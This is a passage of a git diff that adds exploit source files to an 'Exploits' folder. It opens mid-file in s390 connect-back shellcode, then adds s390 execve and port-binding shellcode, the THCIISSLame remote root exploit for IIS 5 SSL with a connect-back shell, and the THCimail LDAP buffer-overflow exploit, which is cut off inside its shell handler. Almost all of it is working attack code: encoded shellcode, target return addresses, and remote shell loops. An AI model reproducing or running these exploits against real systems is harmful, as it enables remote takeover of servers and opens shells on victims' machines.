+/* ATTENTION ! altough the code is 0x0a and 0x0 free it may be the case */\r
+/* that u wanna connect an ip like : 10.65.120.22 ( in our example ! )  */\r
+/* our 192.168.0.1 ! in these cases u have 0xa and 0x0 in your address  */\r
+/* and u should conside to add some selfmodifing code where u patch the */\r
+/* ip address values on the fly, like i did with the svc calls         */\r
+/* code jcyberpunk@thehackerschoice.com                                 */\r
+/*----------------------------------------------------------------------*/\r
+char shellcode[] =\r
+"\x0d\x10"                     /* basr    %r1,%r0                      */\r
+"\x41\x90\x10\xa8"             /* la      %r9,168(%r1)                 */\r
+"\xa7\x68\x04\x56"             /* lhi     %r6,1110                     */\r
+"\xa7\xa8\xfb\xb4"             /* lhi     %r10,-1100                   */\r
+"\x1a\x6a"                     /* ar      %r6,%r10                     */\r
+"\x42\x60\x10\xa8"             /* stc     %r6,168(%r1)                 */\r
+"\xa7\x28\x04\x4e"             /* lhi     %r2,1102                     */\r
+"\x1a\x2a"                     /* ar      %r2,%r10                     */\r
+"\x40\x20\xf0\x78"             /* sth     %r2,120(%r15)                */\r
+"\xa7\x38\x7a\x69"             /* lhi     %r3,31337                    */\r
+"\x40\x30\xf0\x7a"             /* sth     %r3,122(%r15)                */\r
+"\x58\x40\x10\xac"             /* l       %r4,172(%r1)                 */\r
+"\x50\x40\xf0\x7c"                     /* st      %r4,124(%r15)                */\r
+"\x17\x44"                     /* xr      %r4,%r4                      */\r
+"\xa7\x38\x04\x4d"                     /* lhi     %r3,1101                     */\r
+"\x1a\x3a"                     /* ar      %r3,%r10                     */\r
+"\x90\x24\xf0\x80"             /* stm     %r2,%r4,128(%r15)            */\r
+"\xa7\x28\x04\x4d"             /* lhi     %r2,1101                     */\r
+"\x1a\x2a"                     /* ar      %r2,%r10                     */\r
+"\x41\x30\xf0\x80"             /* la      %r3,128(%r15)                */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\x18\x72"                     /* lr      %r7,%r2                      */\r
+"\x41\x30\xf0\x78"             /* la      %r3,120(%r15)                */\r
+"\xa7\x88\x04\x5c"             /* lhi     %r8,1116                     */\r
+"\x1a\x8a"                     /* ar      %r8,%r10                     */\r
+"\x18\x48"                     /* lr      %r4,%r8                      */\r
+"\x90\x24\xf0\x80"              /* stm     %r2,%r4,128(%r15)           */\r
+"\xa7\x28\x04\x4f"              /* lhi     %r2,1103                    */\r
+"\x1a\x2a"                     /* ar      %r2,%r10                     */\r
+"\x41\x30\xf0\x80"             /* la      %r3,128(%r15)                */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\x18\x27"                     /* lr      %r2,%r7                      */\r
+"\xa7\x68\x04\x8b"                     /* lhi     %r6,1163                     */\r
+"\x1a\x6a"                     /* ar      %r6,%r10                     */\r
+"\x42\x60\x10\xa9"              /* stc     %r6,169(%r1)                        */\r
+"\xa7\x38\x04\x4e"             /* lhi     %r3,1102                     */\r
+"\x1a\x3a"                     /* ar      %r3,%r10                     */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\xa7\x3a\xff\xff"             /* ahi     %r3,-1                       */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\xa7\x3a\xff\xff"             /* ahi     %r3,-1                       */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\xa7\x68\x04\x57"             /* lhi     %r6,1111                     */\r
+"\x1a\x6a"                     /* ar      %r6,%r10                     */\r
+"\x42\x60\x10\xa9"                     /* stc     %r6,169(%r1)                 */\r
+"\x41\x20\x10\xb0"                     /* la      %r2,176(%r1)                 */\r
+"\x50\x20\x10\xb8"                     /* st      %r2,184(%r1)                 */\r
+"\x41\x30\x10\xb8"                     /* la      %r3,184(%r1)                 */\r
+"\x17\x44"                     /* xr      %r4,%r4                      */\r
+"\x42\x40\x10\xb7"             /* stc     %r4,183(%r1)                 */\r
+"\x50\x40\x10\xbc"             /* st      %r4,188(%r1)                 */\r
+"\x41\x40\x10\xbc"                     /* la      %r4,188(%r1)                 */\r
+"\x0d\xe9"                     /* basr    %r14,%r9                     */\r
+"\x0b\x66"                     /* svc 102  <--- after modification     */\r
+"\x07\xfe"                     /* br      %r14                         */\r
+"\x0a\x41\x78\x16"                     /* ip-address to connect back           */\r
+"\x2f\x62\x69\x6e"             /* /bin                                 */\r
+"\x2f\x73\x68\x5c";            /* /sh\\                                */\r
+\r
+main()\r
+{\r
+ void (*z)()=(void*)shellcode;\r
+ z();\r
+}\r
diff --git a/Exploits/390execve.c b/Exploits/390execve.c
new file mode 100644 (file)
index 0000000..61e931a
--- /dev/null
@@ -0,0 +1,39 @@
+/* setuid/setgid 0 execve s390 shellcode                       */
+/* code by jcyberpunk@thehackerschoice.com                     */
+
+char shellcode[]=
+"\x0c\x10"                     /* bassm        %r1,%r0                 */
+"\x41\x90\x10\x48"             /* la           %r9,72(%r1)             */
+"\xa7\xa8\xfb\xb4"             /* lhi          %r10,-1100              */
+"\xa7\x68\x04\x56"             /* lhi          %r6,1110                */
+"\x1a\x6a"                     /* ar           %r6,%r10                */
+"\x42\x60\x10\x48"             /* stc          %r6,72(%r1)             */
+"\x17\x22"                     /* xr           %r2,%r2                 */
+"\x0d\xe9"                     /* basr         %r14,%r9                */
+"\xa7\x68\x04\x7a"             /* lhi          %r6,1146                */
+"\x1a\x6a"                     /* ar           %r6,%r10                */
+"\x42\x60\x10\x49"             /* stc          %r6,73(%r1)             */
+"\x0d\xe9"                     /* basr         %r14,%r9                */
+"\xa7\x68\x04\x57"             /* lhi          %r6,1111                */
+"\x1a\x6a"                     /* ar           %r6,%r10                */
+"\x42\x60\x10\x49"             /* stc          %r6,73(%r1)             */
+"\x41\x20\x10\x4c"             /* la           %r2,76(%r1)             */
+"\x50\x20\x10\x54"             /* st           %r2,84(%r1)             */
+"\x41\x30\x10\x54"             /* la           %r3,84(%r1)             */
+"\x17\x44"                     /* xr           %r4,%r4                 */
+"\x42\x40\x10\x53"             /* stc          %r4,83(%r1)             */
+"\x50\x40\x10\x58"             /* st           %r4,88(%r1)             */
+"\x41\x40\x10\x58"             /* la           %r4,88(%r1)             */
+"\x0d\xe9"                     /* basr         %r14,%r9                */
+"\x0b\x17"                     /* svc n after self-modification        */
+"\x07\xfe"                     /* br           %r14                    */
+"\x2f\x62"                     /* /b                                   */
+"\x69\x6e\x2f\x73"             /* in/s                                 */
+"\x68\x5c";            /* h\                                   */
+
+main()
+{
+ void (*z)()=(void*)shellcode;
+ z();
+}
+
diff --git a/Exploits/390portbind.c b/Exploits/390portbind.c
new file mode 100644 (file)
index 0000000..308343a
--- /dev/null
@@ -0,0 +1,82 @@
+/*----------------------------------------------------------------------*/
+/* s390 portbinding shellcode - svc opcode 0x0a free                   */
+/* code by jcyberpunk@thehackerschoice.com                             */
+/*----------------------------------------------------------------------*/
+char shellcode[]=
+"\x0d\x10"             /* basr    %r1,%r0                              */
+"\x41\x90\x10\xd4"     /* la      %r9,212(%r1)                         */
+"\xa7\x68\x04\x56"     /* lhi     %r6,1110                             */
+"\xa7\xa8\xfb\xb4"     /* lhi     %r10,-1100                           */
+"\x1a\x6a"             /* ar      %r6,%r10                             */
+"\x42\x60\x10\xd4"     /* stc     %r6,212(%r1)                         */
+"\xa7\x28\x04\x4e"     /* lhi     %r2,1102                             */
+"\x1a\x2a"             /* ar      %r2,%r10                             */
+"\x40\x20\xf0\x78"     /* sth     %r2,120(%r15)                        */
+"\xa7\x38\x7a\x69"     /* lhi     %r3,31337                            */
+"\x40\x30\xf0\x7a"     /* sth     %r3,122(%r15)                        */
+"\x17\x44"             /* xr      %r4,%r4                              */
+"\x50\x40\xf0\x7c"     /* st      %r4,124(%r15)                        */
+"\xa7\x38\x04\x4d"     /* lhi     %r3,1101                             */
+"\x1a\x3a"             /* ar      %r3,%r10                             */
+"\x90\x24\xf0\x80"     /* stm     %r2,%r4,128(%r15)                    */
+"\xa7\x28\x04\x4d"     /* lhi     %r2,1101                             */
+"\x1a\x2a"             /* ar      %r2,%r10                             */
+"\x41\x30\xf0\x80"     /* la      %r3,128(%r15)                        */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\x18\x72"             /* lr      %r7,%r2                              */
+"\x41\x30\xf0\x78"     /* la      %r3,120(%r15)                        */
+"\xa7\x88\x04\x5c"     /* lhi     %r8,1116                             */
+"\x1a\x8a"             /* ar      %r8,%r10                             */
+"\x18\x48"             /* lr      %r4,%r8                              */
+"\x90\x24\xf0\x80"     /* stm     %r2,%r4,128(%r15)                    */
+"\xa7\x28\x04\x4e"     /* lhi     %r2,1102                             */
+"\x1a\x2a"             /* ar      %r2,%r10                             */
+"\x41\x30\xf0\x80"     /* la      %r3,128(%r15)                        */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\x18\x27"             /* lr      %r2,%r7                              */
+"\xa7\x38\x04\x4d"     /* lhi     %r3,1101                             */
+"\x1a\x3a"             /* ar      %r3,%r10                             */
+"\x90\x23\xf0\x80"     /* stm     %r2,%r3,128(%r15)                    */
+"\xa7\x28\x04\x50"     /* lhi     %r2,1104                             */
+"\x1a\x2a"             /* ar      %r2,%r10                             */
+"\x41\x30\xf0\x80"     /* la      %r3,128(%r15)                        */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\x18\x27"             /* lr      %r2,%r7                              */
+"\x41\x30\xf0\x78"     /* la      %r3,120(%r15)                        */
+"\x90\x23\xf0\x80"     /* stm     %r2,%r3,128(%r15)                    */
+"\x50\x80\xf0\x88"     /* st      %r8,136(%r15)                        */
+"\xa7\x28\x04\x51"     /* lhi     %r2,1105                             */
+"\x1a\x2a"             /* ar      %r2,%r10                             */
+"\x41\x30\xf0\x80"     /* la      %r3,128(%r15)                        */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\xa7\x68\x04\x8b"     /* lhi     %r6,1163                             */
+"\x1a\x6a"             /* ar      %r6,%r10                             */
+"\x42\x60\x10\xd5"     /* stc     %r6,213(%r1)                         */
+"\xa7\x38\x04\x4e"     /* lhi     %r3,1102                             */
+"\x1a\x3a"             /* ar      %r3,%r10                             */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\xa7\x3a\xff\xff"     /* ahi     %r3,-1                               */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\xa7\x3a\xff\xff"     /* ahi     %r3,-1                               */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\xa7\x68\x04\x57"     /* lhi     %r6,1111                             */
+"\x1a\x6a"             /* ar      %r6,%r10                             */
+"\x42\x60\x10\xd5"     /* stc     %r6,213(%r1)                         */
+"\x41\x20\x10\xd8"     /* la      %r2,216(%r1)                         */
+"\x50\x20\x10\xe0"     /* st      %r2,224(%r1)                         */
+"\x41\x30\x10\xe0"     /* la      %r3,224(%r1)                         */
+"\x17\x44"             /* xr      %r4,%r4                              */
+"\x42\x40\x10\xdf"     /* stc     %r4,223(%r1)                         */
+"\x50\x40\x10\xe4"     /* st      %r4,228(%r1)                         */
+"\x41\x40\x10\xe4"     /* la      %r4,228(%r1)                         */
+"\x0d\xe9"             /* basr    %r14,%r9                             */
+"\x0b\x66"             /* svc     102          <--- after modification */
+"\x07\xfe"             /* br      %r14                                 */
+"\x2f\x62\x69\x6e"     /* /bin                                         */
+"\x2f\x73\x68\x5c";    /* /sh\                                         */
+
+main()
+{
+ void (*z)()=(void*)shellcode;
+ z();
+}
diff --git a/Exploits/David_Schulhoff_GCIH.pdf b/Exploits/David_Schulhoff_GCIH.pdf
new file mode 100644 (file)
index 0000000..2c834d6
Binary files /dev/null and b/Exploits/David_Schulhoff_GCIH.pdf differ
diff --git a/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf b/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf
new file mode 100644 (file)
index 0000000..6e23e9b
Binary files /dev/null and b/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf differ
diff --git a/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF b/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF
new file mode 100644 (file)
index 0000000..2c834d6
Binary files /dev/null and b/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF differ
diff --git a/Exploits/THCIISSLame.c b/Exploits/THCIISSLame.c
new file mode 100644 (file)
index 0000000..650ce81
--- /dev/null
@@ -0,0 +1,253 @@
+/*****************************************************************************/
+/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit                           */
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
+/* THC PUBLIC SOURCE MATERIALS                                               */
+/*                                                                           */
+/* Bug was found by Internet Security Systems                                */
+/* Reversing credits of the bug go to Halvar Flake                           */
+/*                                                                           */
+/* compile with MS Visual C++ : cl THCIISSLame.c                             */
+/*                                                                           */
+/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports      */
+/* v0.2 - This little update uses a connectback shell !                      */
+/* v0.1 - First release with portbinding shell on 31337                      */
+/*                                                                           */
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
+/* scut, stealth, FtR and Random                                             */
+/*****************************************************************************/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+
+#pragma comment(lib, "ws2_32.lib")
+
+#define jumper    "\xeb\x0f"
+#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
+
+char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
+
+char shellcode[] =
+"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
+"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
+"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
+"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
+"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
+"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
+"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
+"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
+"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
+"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
+"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
+"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
+"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
+"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
+"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
+"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
+"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
+"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
+"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
+"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
+"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
+"\x55\xe4";
+
+void usage();
+void shell(int sock);
+
+int main(int argc, char *argv[])
+{  
+  unsigned int i,sock,sock2,sock3,addr,rc,len=16;
+  unsigned char *badbuf,*p;
+  unsigned long offset = 0x6741a1cd;
+  unsigned long XOR = 0xffffffff;
+  unsigned long XORIP = 0x93939393;
+  unsigned short XORPORT = 0x9393;
+
+  unsigned short cbport;
+  unsigned long  cbip;
+
+  struct sockaddr_in mytcp;
+  struct hostent * hp;
+  WSADATA wsaData;
+
+  printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
+  printf("tested on Windows 2000 Server german/english SP4\n");
+  printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
+
+  if(argc<4 || argc>4)
+   usage();
+
+  badbuf = malloc(352);
+  memset(badbuf,0,352);
+
+  printf("\n[*] building buffer\n");
+
+  p = badbuf;
+
+  memcpy(p,sslshit,sizeof(sslshit));
+
+  p+=sizeof(sslshit)-1;
+  
+  strcat(p,jumper);
+
+  strcat(p,greetings_to_microsoft);
+
+  offset^=XOR;
+  strncat(p,(unsigned char *)&offset,4);
+
+  cbport = htons((unsigned short)atoi(argv[3]));
+  cbip = inet_addr(argv[2]);
+  cbport ^= XORPORT;
+  cbip ^= XORIP;
+  memcpy(&shellcode[2],&cbport,2);
+  memcpy(&shellcode[4],&cbip,4);
+
+  strcat(p,shellcode);
+  
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
+  {
+   printf("WSAStartup failed !\n");
+   exit(-1);
+  }
+  
+  hp = gethostbyname(argv[1]);
+
+  if (!hp){
+   addr = inet_addr(argv[1]);
+  }
+  if ((!hp)  && (addr == INADDR_NONE) )
+  {
+   printf("Unable to resolve %s\n",argv[1]);
+   exit(-1);
+  }
+
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+  if (!sock)
+  { 
+   printf("socket() error...\n");
+   exit(-1);
+  }
+  
+  if (hp != NULL)
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
+  else
+   mytcp.sin_addr.s_addr = addr;
+
+  if (hp)
+   mytcp.sin_family = hp->h_addrtype;
+  else
+   mytcp.sin_family = AF_INET;
+
+  mytcp.sin_port=htons(443);
+
+  printf("[*] connecting the target\n");
+
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
+  if(rc==0)
+  {
+      send(sock,badbuf,351,0);
+      printf("[*] exploit send\n");
+  
+      mytcp.sin_addr.s_addr = 0;
+      mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
+
+      sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+      
+      rc=bind(sock2,(struct sockaddr *)&mytcp,16);
+      if(rc!=0)
+      {
+       printf("bind error() %d\n",WSAGetLastError());
+       exit(-1);
+      }
+   
+      rc=listen(sock2,1);
+      if(rc!=0)
+      {
+       printf("listen error()\n");
+       exit(-1);
+      }
+
+      printf("[*] waiting for shell\n");
+      sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); 
+      if(sock3)
+      { 
+       printf("[*] Exploit successful ! Have fun !\n");
+       printf("[*] --------------------------------------------------------------------\n\n");
+       shell(sock3);
+      }
+  }
+  else
+  {
+   printf("\nCan't connect to ssl port 443!\n");
+   exit(-1);
+  }
+  
+  shutdown(sock,1);
+  closesocket(sock);
+  shutdown(sock,2);
+  closesocket(sock2);
+  shutdown(sock,3);
+  closesocket(sock3);
+
+  free(badbuf);
+
+  exit(0);
+}
+void usage()
+{
+ unsigned int a;
+ printf("\nUsage:  <victim-host> <connectback-ip> <connectback port>\n");
+ printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
+ exit(0);
+}
+
+void shell(int sock)
+{
+ int l;
+ char buf[1024];
+ struct timeval time;
+ unsigned long ul[2];
+
+ time.tv_sec = 1;
+ time.tv_usec = 0;
+
+ while (1)
+ {
+  ul[0] = 1;
+  ul[1] = sock;
+
+  l = select (0, (fd_set *)&ul, NULL, NULL, &time);
+  if(l == 1)
+  {    
+   l = recv (sock, buf, sizeof (buf), 0);
+   if (l <= 0)
+   {
+    printf ("bye bye...\n");
+    return;
+   }
+  l = write (1, buf, l);
+   if (l <= 0)
+   {
+    printf ("bye bye...\n");
+    return;
+   }
+  }
+  else
+  {
+   l = read (0, buf, sizeof (buf));
+   if (l <= 0)
+   {
+    printf("bye bye...\n");
+    return;
+   }
+   l = send(sock, buf, l, 0);
+   if (l <= 0)
+   {
+    printf("bye bye...\n");
+    return;
+   }
+  }
+ }
+}
diff --git a/Exploits/THCimail.c b/Exploits/THCimail.c
new file mode 100644 (file)
index 0000000..af4bcc7
--- /dev/null
@@ -0,0 +1,266 @@
+/*****************************************************************************/\r
+/* THCimail 0.1 - Wind0wZ remote root exploit                                */\r
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */\r
+/* THC PUBLIC SOURCE MATERIALS                                               */\r
+/*                                                                           */\r
+/* Bug was found by idefense or some idefense slaves ;)                      */\r
+/* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/\r
+/*                                                                           */\r
+/* compile with MS Visual C++ : cl THCimail.c                                */\r
+/*                                                                           */\r
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
+/* scut, stealth, FtR and Random                                             */\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <string.h>\r
+#include <winsock2.h>\r
+\r
+#pragma comment(lib, "ws2_32.lib")\r
+\r
+char *WIN2KEN   = "\xc4\x2a\x02\x75";\r
+char *WIN2KPG   = "\xc4\x2a\xf9\x74";\r
+char *WINXPSP1G = "\xfe\x63\xa1\x71";\r
+\r
+#define jumper    "\xeb\x06\x4a\x43"\r
+\r
+char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";\r
+\r
+char shellcode[] =\r
+"\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"\r
+"\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"\r
+"\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"\r
+"\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"\r
+"\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"\r
+"\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"\r
+"\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"\r
+"\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"\r
+"\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"\r
+"\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"\r
+"\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"\r
+"\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"\r
+"\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"\r
+"\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"\r
+"\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"\r
+"\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"\r
+"\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"\r
+"\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"\r
+"\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"\r
+"\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"\r
+"\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"\r
+"\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"\r
+"\xda\x63\xe5\x70\x70\xda\x6f";\r
+\r
+\r
+void usage();\r
+void shell(int sock);\r
+\r
+int main(int argc, char *argv[])\r
+{  \r
+  unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;\r
+  unsigned char *finalbuffer,*crapbuf1,*crapbuf2;\r
+  unsigned int IMAIL6_7=60;\r
+  unsigned int IMAIL_8=68;\r
+\r
+  struct sockaddr_in mytcp;\r
+  struct hostent * hp;\r
+  WSADATA wsaData;\r
+\r
+  printf("\nTHCimail v0.1 - Imail LDAP exploit\n");\r
+  printf("tested on Imail 6-8\n");\r
+  printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");\r
+\r
+  if(argc<4 || argc>4)\r
+   usage();\r
+\r
+  ver = (unsigned short)atoi(argv[3]);  \r
+  switch(ver)\r
+  {\r
+   case 0:\r
+    IMAILVER = IMAIL6_7;\r
+    break;\r
+   case 1:\r
+    IMAILVER = IMAIL_8;\r
+    break;\r
+   default:\r
+    printf("\nYou entered an illegal version !\n\n");\r
+    usage();\r
+    exit(-1);\r
+  }\r
+\r
+  crapbuf1 = malloc(IMAILVER);\r
+  memset(crapbuf1,'X',IMAILVER);\r
+\r
+  printf("imailver = %d\n",IMAILVER);\r
+\r
+  crapbuf2 = malloc(2220);\r
+  memset(crapbuf2,'X',2220);\r
+\r
+  finalbuffer = malloc(2650);\r
+  memset(finalbuffer,0,2650);\r
+\r
+  printf("\n[*] building buffer\n");\r
+\r
+  strcat(finalbuffer,ldapshit);\r
+\r
+  strcat(finalbuffer,crapbuf1);\r
+\r
+  strcat(finalbuffer,jumper);\r
+\r
+  os = (unsigned short)atoi(argv[2]);  \r
+  switch(os)\r
+  {\r
+   case 0:\r
+    strcat(finalbuffer,WIN2KPG);\r
+    break;\r
+   case 1:\r
+    strcat(finalbuffer,WIN2KPG);\r
+    break;\r
+   case 2:\r
+    strcat(finalbuffer,WINXPSP1G);\r
+    break;\r
+   default:\r
+    printf("\nYou entered an illegal OS !\n\n");\r
+    usage();\r
+    exit(-1);\r
+  }\r
+\r
+  strcat(finalbuffer,shellcode);\r
+  strcat(finalbuffer,crapbuf2);\r
+      \r
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
+  {\r
+   printf("WSAStartup failed !\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  hp = gethostbyname(argv[1]);\r
+\r
+  if (!hp){\r
+   addr = inet_addr(argv[1]);\r
+  }\r
+  if ((!hp)  && (addr == INADDR_NONE) )\r
+  {\r
+   printf("Unable to resolve %s\n",argv[1]);\r
+   exit(-1);\r
+  }\r
+\r
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+  if (!sock)\r
+  { \r
+   printf("socket() error...\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  if (hp != NULL)\r
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
+  else\r
+   mytcp.sin_addr.s_addr = addr;\r
+\r
+  if (hp)\r
+   mytcp.sin_family = hp->h_addrtype;\r
+  else\r
+   mytcp.sin_family = AF_INET;\r
+\r
+  mytcp.sin_port=htons(389);\r
+\r
+  printf("[*] connecting the target\n");\r
+\r
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
+  if(rc==0)\r
+  {\r
+      send(sock,finalbuffer,2650,0);\r
+      printf("[*] Exploit send successfully ! Sleeping a while ....\n");\r
+      Sleep(1000);\r
+  }\r
+  else\r
+   printf("\nCan't connect to ldap port!\n");\r
+   \r
+  if(rc==0)\r
+  {\r
+   printf("[*] Trying to get a shell\n\n");\r
+   sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+   mytcp.sin_port = htons(31337);\r
+   rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));\r
+   if(rc!=0)\r
+   {\r
+     printf("can't connect to port 31337 ;( maybe firewalled ...\n");\r
+     exit(-1);\r
+   }\r
+   shell(sock2);\r
+  }\r
+\r
+  shutdown(sock,1);\r
+  closesocket(sock);\r
+\r
+  free(crapbuf1);\r
+  free(crapbuf2);\r
+  free(finalbuffer);  \r
+\r
+  exit(0);\r
+}\r
\r
+void usage()\r
+{\r
+ unsigned int a;\r
+ printf("\nUsage:  <Host> <OS> <Imail Version>\n");\r
+ printf("Sample: THCimail 194.44.55.56 0 1\n\n");\r
+ printf("OS:\n");\r
+ printf("0 - Windows 2000 Server english all service packs\n");\r
+ printf("1 - Windows 2000 Professional german\n");\r
+ printf("2 - Windows XP SP1 german\n\n");\r
+ printf("Imail Version:\n");\r
+ printf("0 - Imail 6+7\n");\r
+ printf("1 - Imail 8\n");\r
+ exit(0);\r
+}\r
+\r
+void shell(int sock)\r
+{\r
+ int l;\r
+ char buf[1024];\r
+ struct timeval time;\r
+ unsigned long ul[2];\r
+\r
+ time.tv_sec = 1;\r
+ time.tv_usec = 0;\r
+\r
+ while (1)\r
+ {\r
+  ul[0] = 1;\r
+  ul[1] = sock;\r
+\r
+  l = select (0, (fd_set *)&ul, NULL, NULL, &time);\r
+  if(l == 1)\r
+  {    \r
+   l = recv (sock, buf, sizeof (buf), 0);\r
+   if (l <= 0)\r
+   {\r
+    printf ("bye bye...\n");\r
+    return;\r
+   }\r
+  l = write (1, buf, l);\r
+   if (l <= 0)\r
+   {\r
